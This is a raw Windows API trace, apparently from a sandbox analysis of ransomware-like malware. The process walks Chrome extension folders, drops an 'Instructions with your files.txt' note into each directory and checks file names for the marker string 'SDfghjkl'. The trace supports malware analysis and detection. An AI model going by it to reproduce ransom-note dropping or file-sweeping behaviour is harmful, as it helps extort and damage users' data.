[0129.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.443] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.444] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.444] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.444] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.444] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.444] CloseHandle (hObject=0x134) returned 1
[0129.444] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.444] GetProcessHeap () returned 0x810000
[0129.444] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.445] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0129.445] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\Instructions with your files.txt") returned 173
[0129.445] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.445] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.446] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.446] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.446] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.446] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.446] CloseHandle (hObject=0x130) returned 1
[0129.446] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.446] GetProcessHeap () returned 0x810000
[0129.446] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.446] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0129.446] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned 141
[0129.446] GetProcessHeap () returned 0x810000
[0129.447] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.447] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*") returned 143
[0129.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.447] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\.") returned 143
[0129.447] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.447] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\..") returned 144
[0129.447] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628aed00, ftLastWriteTime.dwHighDateTime=0x1d0f5b2, nFileSizeHigh=0x0, nFileSizeLow=0x2769, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0129.447] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 164
[0129.447] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0129.447] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628aed00, ftLastWriteTime.dwHighDateTime=0x1d0f5b2, nFileSizeHigh=0x0, nFileSizeLow=0x2769, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0129.447] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\Instructions with your files.txt") returned 174
[0129.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.447] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.448] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.448] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.448] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.449] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.449] CloseHandle (hObject=0x130) returned 1
[0129.449] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.449] GetProcessHeap () returned 0x810000
[0129.449] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.449] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0129.449] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\Instructions with your files.txt") returned 164
[0129.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0129.450] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0129.451] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0129.451] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0129.451] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0129.451] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0129.451] CloseHandle (hObject=0x12c) returned 1
[0129.451] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0129.451] GetProcessHeap () returned 0x810000
[0129.451] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0129.453] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 0
[0129.453] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\Instructions with your files.txt") returned 156
[0129.453] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0129.458] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0129.459] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0129.459] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0129.459] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0129.459] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0129.459] CloseHandle (hObject=0x128) returned 1
[0129.459] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0129.459] GetProcessHeap () returned 0x810000
[0129.459] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0129.460] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="felcaaldnbdncclmgdcncolpebgiejap", cAlternateFileName="FELCAA~1")) returned 1
[0129.460] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned 123
[0129.460] GetProcessHeap () returned 0x810000
[0129.460] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0129.460] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*") returned 125
[0129.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0129.461] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\.") returned 125
[0129.461] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.461] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\..") returned 126
[0129.461] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 1
[0129.461] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 129
[0129.461] GetProcessHeap () returned 0x810000
[0129.461] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0129.461] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*") returned 131
[0129.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\.") returned 131
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\..") returned 132
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84234950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd47, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 142
[0129.464] StrStrIW (lpFirst="icon_128.png", lpSrch="SDfghjkl") returned 0x0
